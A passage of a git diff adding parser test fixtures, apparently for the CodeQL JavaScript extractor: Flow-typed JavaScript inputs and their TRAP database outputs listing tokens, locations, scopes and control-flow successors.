+#20289=* +tokeninfo(#20289,8,#20001,17,"]") +#20290=@"loc,{#10000},3,7,3,7" +locations_default(#20290,#10000,3,7,3,7) +hasLocation(#20289,#20290) +#20291=* +tokeninfo(#20291,8,#20001,18,".") +#20292=@"loc,{#10000},3,8,3,8" +locations_default(#20292,#10000,3,8,3,8) +hasLocation(#20291,#20292) +#20293=* +tokeninfo(#20293,6,#20001,19,"c") +hasLocation(#20293,#20046) +#20294=* +tokeninfo(#20294,8,#20001,20,"?.") +#20295=@"loc,{#10000},3,10,3,11" +locations_default(#20295,#10000,3,10,3,11) +hasLocation(#20294,#20295) +#20296=* +tokeninfo(#20296,8,#20001,21,"(") +#20297=@"loc,{#10000},3,12,3,12" +locations_default(#20297,#10000,3,12,3,12) +hasLocation(#20296,#20297) +#20298=* +tokeninfo(#20298,6,#20001,22,"x") +hasLocation(#20298,#20048) +#20299=* +tokeninfo(#20299,8,#20001,23,")") +#20300=@"loc,{#10000},3,14,3,14" +locations_default(#20300,#10000,3,14,3,14) +hasLocation(#20299,#20300) +#20301=* +tokeninfo(#20301,8,#20001,24,".") +#20302=@"loc,{#10000},3,15,3,15" +locations_default(#20302,#10000,3,15,3,15) +hasLocation(#20301,#20302) +#20303=* +tokeninfo(#20303,6,#20001,25,"d") +hasLocation(#20303,#20050) +#20304=* +tokeninfo(#20304,8,#20001,26,";") +#20305=@"loc,{#10000},3,17,3,17" +locations_default(#20305,#10000,3,17,3,17) +hasLocation(#20304,#20305) +#20306=* +tokeninfo(#20306,8,#20001,27,"(") +#20307=@"loc,{#10000},5,1,5,1" +locations_default(#20307,#10000,5,1,5,1) +hasLocation(#20306,#20307) +#20308=* +tokeninfo(#20308,6,#20001,28,"a") +hasLocation(#20308,#20060) +#20309=* +tokeninfo(#20309,8,#20001,29,"?.") +#20310=@"loc,{#10000},5,3,5,4" +locations_default(#20310,#10000,5,3,5,4) +hasLocation(#20309,#20310) +#20311=* +tokeninfo(#20311,6,#20001,30,"b") +hasLocation(#20311,#20062) +#20312=* +tokeninfo(#20312,8,#20001,31,")") +#20313=@"loc,{#10000},5,6,5,6" +locations_default(#20313,#10000,5,6,5,6) +hasLocation(#20312,#20313) +#20314=* +tokeninfo(#20314,8,#20001,32,".") +#20315=@"loc,{#10000},5,7,5,7" +locations_default(#20315,#10000,5,7,5,7) +hasLocation(#20314,#20315) +#20316=* +tokeninfo(#20316,6,#20001,33,"c") +hasLocation(#20316,#20064) +#20317=* +tokeninfo(#20317,8,#20001,34,";") +#20318=@"loc,{#10000},5,9,5,9" +locations_default(#20318,#10000,5,9,5,9) +hasLocation(#20317,#20318) +#20319=* +tokeninfo(#20319,8,#20001,35,"(") +#20320=@"loc,{#10000},7,1,7,1" +locations_default(#20320,#10000,7,1,7,1) +hasLocation(#20319,#20320) +#20321=* +tokeninfo(#20321,6,#20001,36,"a") +hasLocation(#20321,#20076) +#20322=* +tokeninfo(#20322,8,#20001,37,"?.") +#20323=@"loc,{#10000},7,3,7,4" +locations_default(#20323,#10000,7,3,7,4) +hasLocation(#20322,#20323) +#20324=* +tokeninfo(#20324,6,#20001,38,"b") +hasLocation(#20324,#20078) +#20325=* +tokeninfo(#20325,8,#20001,39,".") +#20326=@"loc,{#10000},7,6,7,6" +locations_default(#20326,#10000,7,6,7,6) +hasLocation(#20325,#20326) +#20327=* +tokeninfo(#20327,6,#20001,40,"c") +hasLocation(#20327,#20080) +#20328=* +tokeninfo(#20328,8,#20001,41,")") +#20329=@"loc,{#10000},7,8,7,8" +locations_default(#20329,#10000,7,8,7,8) +hasLocation(#20328,#20329) +#20330=* +tokeninfo(#20330,8,#20001,42,".") +#20331=@"loc,{#10000},7,9,7,9" +locations_default(#20331,#10000,7,9,7,9) +hasLocation(#20330,#20331) +#20332=* +tokeninfo(#20332,6,#20001,43,"d") +hasLocation(#20332,#20082) +#20333=* +tokeninfo(#20333,8,#20001,44,";") +#20334=@"loc,{#10000},7,11,7,11" +locations_default(#20334,#10000,7,11,7,11) +hasLocation(#20333,#20334) +#20335=* +tokeninfo(#20335,6,#20001,45,"a") +hasLocation(#20335,#20092) +#20336=* +tokeninfo(#20336,8,#20001,46,"?.") +#20337=@"loc,{#10000},9,2,9,3" +locations_default(#20337,#10000,9,2,9,3) +hasLocation(#20336,#20337) +#20338=* +tokeninfo(#20338,8,#20001,47,"[") +#20339=@"loc,{#10000},9,4,9,4" +locations_default(#20339,#10000,9,4,9,4) +hasLocation(#20338,#20339) +#20340=* +tokeninfo(#20340,6,#20001,48,"b") +hasLocation(#20340,#20098) +#20341=* +tokeninfo(#20341,8,#20001,49,"?.") +#20342=@"loc,{#10000},9,6,9,7" +locations_default(#20342,#10000,9,6,9,7) +hasLocation(#20341,#20342) +#20343=* +tokeninfo(#20343,6,#20001,50,"c") +hasLocation(#20343,#20101) +#20344=* +tokeninfo(#20344,8,#20001,51,"?.") +#20345=@"loc,{#10000},9,9,9,10" +locations_default(#20345,#10000,9,9,9,10) +hasLocation(#20344,#20345) +#20346=* +tokeninfo(#20346,6,#20001,52,"d") +hasLocation(#20346,#20103) +#20347=* +tokeninfo(#20347,8,#20001,53,"]") +#20348=@"loc,{#10000},9,12,9,12" +locations_default(#20348,#10000,9,12,9,12) +hasLocation(#20347,#20348) +#20349=* +tokeninfo(#20349,8,#20001,54,".") +#20350=@"loc,{#10000},9,13,9,13" +locations_default(#20350,#10000,9,13,9,13) +hasLocation(#20349,#20350) +#20351=* +tokeninfo(#20351,6,#20001,55,"e") +hasLocation(#20351,#20105) +#20352=* +tokeninfo(#20352,8,#20001,56,"?.") +#20353=@"loc,{#10000},9,15,9,16" +locations_default(#20353,#10000,9,15,9,16) +hasLocation(#20352,#20353) +#20354=* +tokeninfo(#20354,6,#20001,57,"f") +hasLocation(#20354,#20107) +#20355=* +tokeninfo(#20355,8,#20001,58,";") +#20356=@"loc,{#10000},9,18,9,18" +locations_default(#20356,#10000,9,18,9,18) +hasLocation(#20355,#20356) +#20357=* +tokeninfo(#20357,6,#20001,59,"a") +hasLocation(#20357,#20121) +#20358=* +tokeninfo(#20358,8,#20001,60,"?.") +#20359=@"loc,{#10000},11,2,11,3" +locations_default(#20359,#10000,11,2,11,3) +hasLocation(#20358,#20359) +#20360=* +tokeninfo(#20360,8,#20001,61,"(") +#20361=@"loc,{#10000},11,4,11,4" +locations_default(#20361,#10000,11,4,11,4) +hasLocation(#20360,#20361) +#20362=* +tokeninfo(#20362,8,#20001,62,")") +#20363=@"loc,{#10000},11,5,11,5" +locations_default(#20363,#10000,11,5,11,5) +hasLocation(#20362,#20363) +#20364=* +tokeninfo(#20364,8,#20001,63,"[") +#20365=@"loc,{#10000},11,6,11,6" +locations_default(#20365,#10000,11,6,11,6) +hasLocation(#20364,#20365) +#20366=* +tokeninfo(#20366,6,#20001,64,"b") +hasLocation(#20366,#20131) +#20367=* +tokeninfo(#20367,8,#20001,65,"?.") +#20368=@"loc,{#10000},11,8,11,9" +locations_default(#20368,#10000,11,8,11,9) +hasLocation(#20367,#20368) +#20369=* +tokeninfo(#20369,8,#20001,66,"(") +#20370=@"loc,{#10000},11,10,11,10" +locations_default(#20370,#10000,11,10,11,10) +hasLocation(#20369,#20370) +#20371=* +tokeninfo(#20371,8,#20001,67,")") +#20372=@"loc,{#10000},11,11,11,11" +locations_default(#20372,#10000,11,11,11,11) +hasLocation(#20371,#20372) +#20373=* +tokeninfo(#20373,8,#20001,68,".") +#20374=@"loc,{#10000},11,12,11,12" +locations_default(#20374,#10000,11,12,11,12) +hasLocation(#20373,#20374) +#20375=* +tokeninfo(#20375,6,#20001,69,"c") +hasLocation(#20375,#20133) +#20376=* +tokeninfo(#20376,8,#20001,70,"?.") +#20377=@"loc,{#10000},11,14,11,15" +locations_default(#20377,#10000,11,14,11,15) +hasLocation(#20376,#20377) +#20378=* +tokeninfo(#20378,8,#20001,71,"(") +#20379=@"loc,{#10000},11,16,11,16" +locations_default(#20379,#10000,11,16,11,16) +hasLocation(#20378,#20379) +#20380=* +tokeninfo(#20380,8,#20001,72,")") +#20381=@"loc,{#10000},11,17,11,17" +locations_default(#20381,#10000,11,17,11,17) +hasLocation(#20380,#20381) +#20382=* +tokeninfo(#20382,8,#20001,73,".") +#20383=@"loc,{#10000},11,18,11,18" +locations_default(#20383,#10000,11,18,11,18) +hasLocation(#20382,#20383) +#20384=* +tokeninfo(#20384,6,#20001,74,"d") +hasLocation(#20384,#20135) +#20385=* +tokeninfo(#20385,8,#20001,75,"]") +#20386=@"loc,{#10000},11,20,11,20" +locations_default(#20386,#10000,11,20,11,20) +hasLocation(#20385,#20386) +#20387=* +tokeninfo(#20387,8,#20001,76,".") +#20388=@"loc,{#10000},11,21,11,21" +locations_default(#20388,#10000,11,21,11,21) +hasLocation(#20387,#20388) +#20389=* +tokeninfo(#20389,6,#20001,77,"e") +hasLocation(#20389,#20137) +#20390=* +tokeninfo(#20390,8,#20001,78,"?.") +#20391=@"loc,{#10000},11,23,11,24" +locations_default(#20391,#10000,11,23,11,24) +hasLocation(#20390,#20391) +#20392=* +tokeninfo(#20392,8,#20001,79,"(") +#20393=@"loc,{#10000},11,25,11,25" +locations_default(#20393,#10000,11,25,11,25) +hasLocation(#20392,#20393) +#20394=* +tokeninfo(#20394,8,#20001,80,")") +#20395=@"loc,{#10000},11,26,11,26" +locations_default(#20395,#10000,11,26,11,26) +hasLocation(#20394,#20395) +#20396=* +tokeninfo(#20396,8,#20001,81,".") +#20397=@"loc,{#10000},11,27,11,27" +locations_default(#20397,#10000,11,27,11,27) +hasLocation(#20396,#20397) +#20398=* +tokeninfo(#20398,6,#20001,82,"f") +hasLocation(#20398,#20139) +#20399=* +tokeninfo(#20399,8,#20001,83,";") +#20400=@"loc,{#10000},11,29,11,29" +locations_default(#20400,#10000,11,29,11,29) +hasLocation(#20399,#20400) +#20401=* +tokeninfo(#20401,7,#20001,84,"if") +#20402=@"loc,{#10000},13,1,13,2" +locations_default(#20402,#10000,13,1,13,2) +hasLocation(#20401,#20402) +#20403=* +tokeninfo(#20403,8,#20001,85,"(") +#20404=@"loc,{#10000},13,4,13,4" +locations_default(#20404,#10000,13,4,13,4) +hasLocation(#20403,#20404) +#20405=* +tokeninfo(#20405,6,#20001,86,"a") +hasLocation(#20405,#20145) +#20406=* +tokeninfo(#20406,8,#20001,87,"?.") +#20407=@"loc,{#10000},13,6,13,7" +locations_default(#20407,#10000,13,6,13,7) +hasLocation(#20406,#20407) +#20408=* +tokeninfo(#20408,6,#20001,88,"b") +hasLocation(#20408,#20147) +#20409=* +tokeninfo(#20409,8,#20001,89,")") +#20410=@"loc,{#10000},13,9,13,9" +locations_default(#20410,#10000,13,9,13,9) +hasLocation(#20409,#20410) +#20411=* +tokeninfo(#20411,8,#20001,90,"{") +#20412=@"loc,{#10000},13,11,13,11" +locations_default(#20412,#10000,13,11,13,11) +hasLocation(#20411,#20412) +#20413=* +tokeninfo(#20413,2,#20001,91,"true") +hasLocation(#20413,#20153) +#20414=* +tokeninfo(#20414,8,#20001,92,";") +#20415=@"loc,{#10000},14,9,14,9" +locations_default(#20415,#10000,14,9,14,9) +hasLocation(#20414,#20415) +#20416=* +tokeninfo(#20416,8,#20001,93,"}") +#20417=@"loc,{#10000},15,1,15,1" +locations_default(#20417,#10000,15,1,15,1) +hasLocation(#20416,#20417) +#20418=* +tokeninfo(#20418,7,#20001,94,"else") +#20419=@"loc,{#10000},15,3,15,6" +locations_default(#20419,#10000,15,3,15,6) +hasLocation(#20418,#20419) +#20420=* +tokeninfo(#20420,8,#20001,95,"{") +#20421=@"loc,{#10000},15,8,15,8" +locations_default(#20421,#10000,15,8,15,8) +hasLocation(#20420,#20421) +#20422=* +tokeninfo(#20422,2,#20001,96,"false") +hasLocation(#20422,#20159) +#20423=* +tokeninfo(#20423,8,#20001,97,";") +#20424=@"loc,{#10000},16,10,16,10" +locations_default(#20424,#10000,16,10,16,10) +hasLocation(#20423,#20424) +#20425=* +tokeninfo(#20425,8,#20001,98,"}") +hasLocation(#20425,#20238) +#20426=* +tokeninfo(#20426,7,#20001,99,"if") +#20427=@"loc,{#10000},19,1,19,2" +locations_default(#20427,#10000,19,1,19,2) +hasLocation(#20426,#20427) +#20428=* +tokeninfo(#20428,8,#20001,100,"(") +#20429=@"loc,{#10000},19,4,19,4" +locations_default(#20429,#10000,19,4,19,4) +hasLocation(#20428,#20429) +#20430=* +tokeninfo(#20430,8,#20001,101,"!") +#20431=@"loc,{#10000},19,5,19,5" +locations_default(#20431,#10000,19,5,19,5) +hasLocation(#20430,#20431) +#20432=* +tokeninfo(#20432,6,#20001,102,"a") +hasLocation(#20432,#20167) +#20433=* +tokeninfo(#20433,8,#20001,103,"?.") +#20434=@"loc,{#10000},19,7,19,8" +locations_default(#20434,#10000,19,7,19,8) +hasLocation(#20433,#20434) +#20435=* +tokeninfo(#20435,6,#20001,104,"b") +hasLocation(#20435,#20169) +#20436=* +tokeninfo(#20436,8,#20001,105,")") +#20437=@"loc,{#10000},19,10,19,10" +locations_default(#20437,#10000,19,10,19,10) +hasLocation(#20436,#20437) +#20438=* +tokeninfo(#20438,8,#20001,106,"{") +#20439=@"loc,{#10000},19,12,19,12" +locations_default(#20439,#10000,19,12,19,12) +hasLocation(#20438,#20439) +#20440=* +tokeninfo(#20440,2,#20001,107,"true") +hasLocation(#20440,#20175) +#20441=* +tokeninfo(#20441,8,#20001,108,";") +#20442=@"loc,{#10000},20,9,20,9" +locations_default(#20442,#10000,20,9,20,9) +hasLocation(#20441,#20442) +#20443=* +tokeninfo(#20443,8,#20001,109,"}") +#20444=@"loc,{#10000},21,1,21,1" +locations_default(#20444,#10000,21,1,21,1) +hasLocation(#20443,#20444) +#20445=* +tokeninfo(#20445,7,#20001,110,"else") +#20446=@"loc,{#10000},21,3,21,6" +locations_default(#20446,#10000,21,3,21,6) +hasLocation(#20445,#20446) +#20447=* +tokeninfo(#20447,8,#20001,111,"{") +#20448=@"loc,{#10000},21,8,21,8" +locations_default(#20448,#10000,21,8,21,8) +hasLocation(#20447,#20448) +#20449=* +tokeninfo(#20449,2,#20001,112,"false") +hasLocation(#20449,#20181) +#20450=* +tokeninfo(#20450,8,#20001,113,";") +#20451=@"loc,{#10000},22,10,22,10" +locations_default(#20451,#10000,22,10,22,10) +hasLocation(#20450,#20451) +#20452=* +tokeninfo(#20452,8,#20001,114,"}") +hasLocation(#20452,#20250) +#20453=* +tokeninfo(#20453,7,#20001,115,"if") +#20454=@"loc,{#10000},25,1,25,2" +locations_default(#20454,#10000,25,1,25,2) +hasLocation(#20453,#20454) +#20455=* +tokeninfo(#20455,8,#20001,116,"(") +#20456=@"loc,{#10000},25,4,25,4" +locations_default(#20456,#10000,25,4,25,4) +hasLocation(#20455,#20456) +#20457=* +tokeninfo(#20457,6,#20001,117,"a") +hasLocation(#20457,#20189) +#20458=* +tokeninfo(#20458,8,#20001,118,"?.") +#20459=@"loc,{#10000},25,6,25,7" +locations_default(#20459,#10000,25,6,25,7) +hasLocation(#20458,#20459) +#20460=* +tokeninfo(#20460,6,#20001,119,"b") +hasLocation(#20460,#20191) +#20461=* +tokeninfo(#20461,8,#20001,120,"&&") +#20462=@"loc,{#10000},25,10,25,11" +locations_default(#20462,#10000,25,10,25,11) +hasLocation(#20461,#20462) +#20463=* +tokeninfo(#20463,6,#20001,121,"c") +hasLocation(#20463,#20195) +#20464=* +tokeninfo(#20464,8,#20001,122,"?.") +#20465=@"loc,{#10000},25,14,25,15" +locations_default(#20465,#10000,25,14,25,15) +hasLocation(#20464,#20465) +#20466=* +tokeninfo(#20466,6,#20001,123,"d") +hasLocation(#20466,#20198) +#20467=* +tokeninfo(#20467,8,#20001,124,")") +#20468=@"loc,{#10000},25,17,25,17" +locations_default(#20468,#10000,25,17,25,17) +hasLocation(#20467,#20468) +#20469=* +tokeninfo(#20469,8,#20001,125,"{") +#20470=@"loc,{#10000},25,19,25,19" +locations_default(#20470,#10000,25,19,25,19) +hasLocation(#20469,#20470) +#20471=* +tokeninfo(#20471,2,#20001,126,"true") +hasLocation(#20471,#20204) +#20472=* +tokeninfo(#20472,8,#20001,127,";") +#20473=@"loc,{#10000},26,9,26,9" +locations_default(#20473,#10000,26,9,26,9) +hasLocation(#20472,#20473) +#20474=* +tokeninfo(#20474,8,#20001,128,"}") +#20475=@"loc,{#10000},27,1,27,1" +locations_default(#20475,#10000,27,1,27,1) +hasLocation(#20474,#20475) +#20476=* +tokeninfo(#20476,7,#20001,129,"else") +#20477=@"loc,{#10000},27,3,27,6" +locations_default(#20477,#10000,27,3,27,6) +hasLocation(#20476,#20477) +#20478=* +tokeninfo(#20478,8,#20001,130,"{") +#20479=@"loc,{#10000},27,8,27,8" +locations_default(#20479,#10000,27,8,27,8) +hasLocation(#20478,#20479) +#20480=* +tokeninfo(#20480,2,#20001,131,"false") +hasLocation(#20480,#20210) +#20481=* +tokeninfo(#20481,8,#20001,132,";") +#20482=@"loc,{#10000},28,10,28,10" +locations_default(#20482,#10000,28,10,28,10) +hasLocation(#20481,#20482) +#20483=* +tokeninfo(#20483,8,#20001,133,"}") +hasLocation(#20483,#20262) +#20484=* +tokeninfo(#20484,0,#20001,134,"") +#20485=@"loc,{#10000},30,1,30,0" +locations_default(#20485,#10000,30,1,30,0) +hasLocation(#20484,#20485) +#20486=* +entry_cfg_node(#20486,#20001) +#20487=@"loc,{#10000},1,1,1,0" +locations_default(#20487,#10000,1,1,1,0) +hasLocation(#20486,#20487) +#20488=* +exit_cfg_node(#20488,#20001) +hasLocation(#20488,#20485) +successor(#20182,#20184) +successor(#20184,#20188) +successor(#20190,#20186) +successor(#20188,#20190) +#20489=* +guard_node(#20489,1,#20186) +hasLocation(#20489,#20187) +successor(#20489,#20194) +#20490=* +guard_node(#20490,0,#20186) +hasLocation(#20490,#20187) +successor(#20490,#20205) +successor(#20186,#20489) +successor(#20186,#20490) +successor(#20188,#20205) +successor(#20197,#20192) +successor(#20194,#20197) +#20491=* +guard_node(#20491,1,#20192) +hasLocation(#20491,#20193) +successor(#20491,#20199) +#20492=* +guard_node(#20492,0,#20192) +hasLocation(#20492,#20193) +successor(#20492,#20205) +successor(#20192,#20491) +successor(#20192,#20492) +successor(#20194,#20205) +successor(#20199,#20201) +successor(#20201,#20203) +successor(#20203,#20488) +successor(#20205,#20207) +successor(#20207,#20209) +successor(#20209,#20488) +successor(#20160,#20166) +successor(#20168,#20164) +successor(#20166,#20168) +successor(#20164,#20162) +successor(#20166,#20162) +#20493=* +guard_node(#20493,0,#20164) +hasLocation(#20493,#20165) +successor(#20493,#20170) +#20494=* +guard_node(#20494,1,#20164) +hasLocation(#20494,#20165) +successor(#20494,#20176) +successor(#20162,#20493) +successor(#20162,#20494) +successor(#20170,#20172) +successor(#20172,#20174) +successor(#20174,#20182) +successor(#20176,#20178) +successor(#20178,#20180) +successor(#20180,#20182) +successor(#20140,#20144) +successor(#20146,#20142) +successor(#20144,#20146) +#20495=* +guard_node(#20495,1,#20142) +hasLocation(#20495,#20143) +successor(#20495,#20148) +#20496=* +guard_node(#20496,0,#20142) +hasLocation(#20496,#20143) +successor(#20496,#20154) +successor(#20142,#20495) +successor(#20142,#20496) +successor(#20144,#20154) +successor(#20148,#20150) +successor(#20150,#20152) +successor(#20152,#20160) +successor(#20154,#20156) +successor(#20156,#20158) +successor(#20158,#20160) +successor(#20108,#20120) +successor(#20138,#20110) +successor(#20136,#20114) +successor(#20134,#20122) +successor(#20132,#20126) +successor(#20130,#20128) +successor(#20128,#20132) +successor(#20130,#20116) +successor(#20126,#20124) +successor(#20124,#20134) +successor(#20126,#20116) +successor(#20122,#20116) +successor(#20120,#20118) +successor(#20118,#20130) +successor(#20120,#20140) +successor(#20116,#20136) +successor(#20114,#20112) +successor(#20112,#20138) +successor(#20114,#20140) +successor(#20110,#20140) +successor(#20083,#20091) +successor(#20106,#20085) +successor(#20104,#20087) +successor(#20102,#20093) +successor(#20100,#20095) +successor(#20097,#20100) +successor(#20095,#20102) +successor(#20097,#20089) +successor(#20093,#20089) +successor(#20095,#20089) +successor(#20091,#20097) +successor(#20089,#20104) +successor(#20091,#20108) +successor(#20087,#20106) +successor(#20085,#20108) +successor(#20087,#20108) +successor(#20065,#20069) +successor(#20081,#20067) +successor(#20069,#20075) +successor(#20079,#20071) +successor(#20077,#20073) +successor(#20075,#20077) +successor(#20073,#20079) +successor(#20075,#20081) +successor(#20071,#20081) +successor(#20067,#20083) +successor(#20051,#20055) +successor(#20063,#20053) +successor(#20055,#20059) +successor(#20061,#20057) +successor(#20059,#20061) +successor(#20057,#20063) +successor(#20059,#20063) +successor(#20053,#20065) +successor(#20027,#20039) +successor(#20049,#20029) +successor(#20047,#20031) +successor(#20045,#20033) +successor(#20043,#20035) +successor(#20041,#20037) +successor(#20039,#20041) +successor(#20037,#20043) +successor(#20039,#20051) +successor(#20035,#20045) +successor(#20033,#20047) +successor(#20031,#20049) +successor(#20033,#20051) +successor(#20029,#20051) +successor(#20003,#20013) +successor(#20025,#20005) +successor(#20022,#20020) +successor(#20020,#20007) +successor(#20018,#20009) +successor(#20016,#20011) +successor(#20013,#20016) +successor(#20011,#20018) +successor(#20013,#20027) +successor(#20009,#20022) +successor(#20007,#20025) +successor(#20005,#20027) +successor(#20486,#20003) +numlines(#10000,29,21,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/flow/input/array-types.js b/javascript/extractor/tests/flow/input/array-types.js new file mode 100644 index 00000000000..971986a1c10 --- /dev/null +++ b/javascript/extractor/tests/flow/input/array-types.js @@ -0,0 +1,4 @@ +function f(p: T) {} +function f(p: T[]) {} +function f(p: T[][]) {} +function f(p: T[][][]) {} diff --git a/javascript/extractor/tests/flow/input/declared-module-imports.js b/javascript/extractor/tests/flow/input/declared-module-imports.js new file mode 100644 index 00000000000..fc47c901ee7 --- /dev/null +++ b/javascript/extractor/tests/flow/input/declared-module-imports.js @@ -0,0 +1,4 @@ +declare module "m1" { + import type t from "m2"; + import typeof t from "m3"; +} diff --git a/javascript/extractor/tests/flow/input/get-set-methods.js b/javascript/extractor/tests/flow/input/get-set-methods.js new file mode 100644 index 00000000000..82d6a978d5f --- /dev/null +++ b/javascript/extractor/tests/flow/input/get-set-methods.js @@ -0,0 +1,4 @@ +class C { + get(v: T) { } + set(v: T) { } +} diff --git a/javascript/extractor/tests/flow/input/predicate-function-annotation.js b/javascript/extractor/tests/flow/input/predicate-function-annotation.js new file mode 100644 index 00000000000..8cc55ae2cc3 --- /dev/null +++ b/javascript/extractor/tests/flow/input/predicate-function-annotation.js @@ -0,0 +1,9 @@ +function f(a): boolean %checks { + return a; +} +function g(): %checks {} { + return b; +} + +(c): boolean %checks => c; +(d): %checks => d; diff --git a/javascript/extractor/tests/flow/output/trap/array-types.js.trap b/javascript/extractor/tests/flow/output/trap/array-types.js.trap new file mode 100644 index 00000000000..186ec124a96 --- /dev/null +++ b/javascript/extractor/tests/flow/output/trap/array-types.js.trap @@ -0,0 +1,492 @@ +#10000=@"/array-types.js;sourcefile" +files(#10000,"/array-types.js","array-types","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,5,0" +locations_default(#20002,#10000,1,1,5,0) +hasLocation(#20001,#20002) +#20003=@"var;{f};{#20000}" +variables(#20003,"f",#20000) +#20004=* +stmts(#20004,17,#20001,0,"function f(p: T) {}") +#20005=@"loc,{#10000},1,1,1,19" +locations_default(#20005,#10000,1,1,1,19) +hasLocation(#20004,#20005) +stmtContainers(#20004,#20001) +#20006=* +exprs(#20006,78,#20004,-1,"f") +#20007=@"loc,{#10000},1,10,1,10" +locations_default(#20007,#10000,1,10,1,10) +hasLocation(#20006,#20007) +exprContainers(#20006,#20004) +literals("f","f",#20006) +decl(#20006,#20003) +#20008=* +scopes(#20008,1) +scopenodes(#20004,#20008) +scopenesting(#20008,#20000) +#20009=@"var;{p};{#20008}" +variables(#20009,"p",#20008) +#20010=* +exprs(#20010,78,#20004,0,"p: T") +#20011=@"loc,{#10000},1,12,1,15" +locations_default(#20011,#10000,1,12,1,15) +hasLocation(#20010,#20011) +exprContainers(#20010,#20004) +literals("p","p",#20010) +decl(#20010,#20009) +#20012=@"var;{arguments};{#20008}" +variables(#20012,"arguments",#20008) +isArgumentsObject(#20012) +#20013=* +stmts(#20013,1,#20004,-2,"{}") +#20014=@"loc,{#10000},1,18,1,19" +locations_default(#20014,#10000,1,18,1,19) +hasLocation(#20013,#20014) +stmtContainers(#20013,#20004) +numlines(#20004,1,1,0) +#20015=* +stmts(#20015,17,#20001,1,"functio ... T[]) {}") +#20016=@"loc,{#10000},2,1,2,21" +locations_default(#20016,#10000,2,1,2,21) +hasLocation(#20015,#20016) +stmtContainers(#20015,#20001) +#20017=* +exprs(#20017,78,#20015,-1,"f") +#20018=@"loc,{#10000},2,10,2,10" +locations_default(#20018,#10000,2,10,2,10) +hasLocation(#20017,#20018) +exprContainers(#20017,#20015) +literals("f","f",#20017) +decl(#20017,#20003) +#20019=* +scopes(#20019,1) +scopenodes(#20015,#20019) +scopenesting(#20019,#20000) +#20020=@"var;{p};{#20019}" +variables(#20020,"p",#20019) +#20021=* +exprs(#20021,78,#20015,0,"p: T[]") +#20022=@"loc,{#10000},2,12,2,17" +locations_default(#20022,#10000,2,12,2,17) +hasLocation(#20021,#20022) +exprContainers(#20021,#20015) +literals("p","p",#20021) +decl(#20021,#20020) +#20023=@"var;{arguments};{#20019}" +variables(#20023,"arguments",#20019) +isArgumentsObject(#20023) +#20024=* +stmts(#20024,1,#20015,-2,"{}") +#20025=@"loc,{#10000},2,20,2,21" +locations_default(#20025,#10000,2,20,2,21) +hasLocation(#20024,#20025) +stmtContainers(#20024,#20015) +numlines(#20015,1,1,0) +#20026=* +stmts(#20026,17,#20001,2,"functio ... ][]) {}") +#20027=@"loc,{#10000},3,1,3,23" +locations_default(#20027,#10000,3,1,3,23) +hasLocation(#20026,#20027) +stmtContainers(#20026,#20001) +#20028=* +exprs(#20028,78,#20026,-1,"f") +#20029=@"loc,{#10000},3,10,3,10" +locations_default(#20029,#10000,3,10,3,10) +hasLocation(#20028,#20029) +exprContainers(#20028,#20026) +literals("f","f",#20028) +decl(#20028,#20003) +#20030=* +scopes(#20030,1) +scopenodes(#20026,#20030) +scopenesting(#20030,#20000) +#20031=@"var;{p};{#20030}" +variables(#20031,"p",#20030) +#20032=* +exprs(#20032,78,#20026,0,"p: T[][]") +#20033=@"loc,{#10000},3,12,3,19" +locations_default(#20033,#10000,3,12,3,19) +hasLocation(#20032,#20033) +exprContainers(#20032,#20026) +literals("p","p",#20032) +decl(#20032,#20031) +#20034=@"var;{arguments};{#20030}" +variables(#20034,"arguments",#20030) +isArgumentsObject(#20034) +#20035=* +stmts(#20035,1,#20026,-2,"{}") +#20036=@"loc,{#10000},3,22,3,23" +locations_default(#20036,#10000,3,22,3,23) +hasLocation(#20035,#20036) +stmtContainers(#20035,#20026) +numlines(#20026,1,1,0) +#20037=* +stmts(#20037,17,#20001,3,"functio ... ][]) {}") +#20038=@"loc,{#10000},4,1,4,25" +locations_default(#20038,#10000,4,1,4,25) +hasLocation(#20037,#20038) +stmtContainers(#20037,#20001) +#20039=* +exprs(#20039,78,#20037,-1,"f") +#20040=@"loc,{#10000},4,10,4,10" +locations_default(#20040,#10000,4,10,4,10) +hasLocation(#20039,#20040) +exprContainers(#20039,#20037) +literals("f","f",#20039) +decl(#20039,#20003) +#20041=* +scopes(#20041,1) +scopenodes(#20037,#20041) +scopenesting(#20041,#20000) +#20042=@"var;{p};{#20041}" +variables(#20042,"p",#20041) +#20043=* +exprs(#20043,78,#20037,0,"p: T[][][]") +#20044=@"loc,{#10000},4,12,4,21" +locations_default(#20044,#10000,4,12,4,21) +hasLocation(#20043,#20044) +exprContainers(#20043,#20037) +literals("p","p",#20043) +decl(#20043,#20042) +#20045=@"var;{arguments};{#20041}" +variables(#20045,"arguments",#20041) +isArgumentsObject(#20045) +#20046=* +stmts(#20046,1,#20037,-2,"{}") +#20047=@"loc,{#10000},4,24,4,25" +locations_default(#20047,#10000,4,24,4,25) +hasLocation(#20046,#20047) +stmtContainers(#20046,#20037) +numlines(#20037,1,1,0) +#20048=* +lines(#20048,#20001,"function f(p: T) {}"," +") +hasLocation(#20048,#20005) +#20049=* +lines(#20049,#20001,"function f(p: T[]) {}"," +") +hasLocation(#20049,#20016) +#20050=* +lines(#20050,#20001,"function f(p: T[][]) {}"," +") +hasLocation(#20050,#20027) +#20051=* +lines(#20051,#20001,"function f(p: T[][][]) {}"," +") +hasLocation(#20051,#20038) +numlines(#20001,4,4,0) +#20052=* +tokeninfo(#20052,7,#20001,0,"function") +#20053=@"loc,{#10000},1,1,1,8" +locations_default(#20053,#10000,1,1,1,8) +hasLocation(#20052,#20053) +#20054=* +tokeninfo(#20054,6,#20001,1,"f") +hasLocation(#20054,#20007) +#20055=* +tokeninfo(#20055,8,#20001,2,"(") +#20056=@"loc,{#10000},1,11,1,11" +locations_default(#20056,#10000,1,11,1,11) +hasLocation(#20055,#20056) +#20057=* +tokeninfo(#20057,6,#20001,3,"p") +#20058=@"loc,{#10000},1,12,1,12" +locations_default(#20058,#10000,1,12,1,12) +hasLocation(#20057,#20058) +#20059=* +tokeninfo(#20059,8,#20001,4,":") +#20060=@"loc,{#10000},1,13,1,13" +locations_default(#20060,#10000,1,13,1,13) +hasLocation(#20059,#20060) +#20061=* +tokeninfo(#20061,6,#20001,5,"T") 